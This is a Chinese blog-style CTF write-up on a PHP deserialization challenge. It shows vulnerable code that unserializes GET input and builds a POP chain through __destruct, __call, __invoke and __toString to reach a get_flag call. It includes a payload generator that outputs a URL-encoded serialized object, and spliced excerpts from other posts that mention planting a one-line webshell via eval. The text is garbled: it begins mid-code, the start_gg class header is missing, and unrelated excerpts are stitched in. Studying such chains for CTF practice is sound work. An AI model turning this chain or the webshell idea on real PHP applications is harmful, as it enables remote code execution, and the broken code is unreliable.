目录
题目:
题目代码:
分析:代码审计
通过以上分析,最终我们构建这个payload:
结果:
目标达到!
这个题目分析就有难度了,需要掌握php的魔法方法的使用以及调用条件。
初识PHP反序列化_奋斗的小智的博客-CSDN博客但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖,将POST接收的phpin佛()值覆盖所定义的值,这里也可以传入一句话木马等,利用我们的eval危险函数(任意命令执行)进行执行。在执行unserialize()方法时会触发__wakeup()方法执行,将传入的字符串反序列化后,会替换掉test类里面$test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。https://blog.csdn.net/weixin_60719780/article/details/128795216?spm=1001.2014.3001.5501php反序列化漏洞之pop链_奋斗的小智的博客-CSDN博客常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与
https://blog.csdn.net/weixin_60719780/article/details/128943473?spm=1001.2014.3001.5501
mod1->test1();}
}
class Call
{public $mod1;public $mod2;public function test1(){$this->mod1->test2();}
}
class funct
{public $mod1;public $mod2;public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}
class func
{public $mod1;public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;}
}
class string1
{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:xxxxxxxxxxxx";}
}
$a = $_GET['string'];
unserialize($a);
?>
首先查看php的魔术方法,该题目涉及了(__destruct()、__call($test2,$arr)、__invoke()、__toString()),我们的目的是要拿到flag。
第一步;要拿到flag,首先我们要进入get_flag函数里,而且还在GetFlag的类中,我们要进入这个类中;在__toString方法中,有这样一段代码:$this->str1->get_flag(); 我们可以把str1设为GetFlag,并且string1要为字符串,这是__tostring方法的条件。
即:$this->str1 = new GetFlag()第二步:发现类func中存在__invoke方法执行了字符串拼接,所以我们需要把func当成函数使用自动调用__invoke,所以mod1的值为string1
即:$this->mod1 = new string1() 这样的话在字符串拼接的时候就会触发魔术方法__toString()第三步:在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在__call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;
即:$this->mod1 = new func() 将func类作为函数调用就会触发魔术方法__invoke()第四步:在Call中的test1方法中存在$this->mod1->test2();,需要把$mod1赋值为funct的对象,让__call自动调用。
即:$this->mod1 = new funct() 因为$test2()方法不存在,当$this->mod1调用的时候会触发魔术方法__call()第五步:查找test1方法的调用点,在start_gg中发现$this->mod1->test1();,把$mod1赋值为Call类的对象,等待__destruct()自动调用。这个程序的起点就在这里
即:$this->mod1 = new Call()
mod1 = new Call();//把$mod1赋值为Call类对象}public function __destruct(){$this->mod1->test1();}
}
class Call
{public $mod1;public $mod2;public function __construct(){$this->mod1 = new funct();//把 $mod1赋值为funct类对象}public function test1(){$this->mod1->test2();}
}class funct
{public $mod1;public $mod2;public function __construct(){$this->mod1= new func();//把 $mod1赋值为func类对象}public function __call($test2,$arr){$s1 = $this->mod1;$s1();}
}
class func
{public $mod1;public $mod2;public function __construct(){$this->mod1= new string1();//把 $mod1赋值为string1类对象}public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;}
}
class string1
{public $str1;public function __construct(){$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象}public function __toString(){$this->str1->get_flag();return "1";}
}
class GetFlag
{public function get_flag(){echo "flag:"."xxxxxxxxxxxx";}
}
$b = new start_gg;
//构造start_gg类对象$b
echo urlencode(serialize($b));
//显示输出url编码后的序列化对象
我们先执行下payload.php

拿到结果后,我们构建url
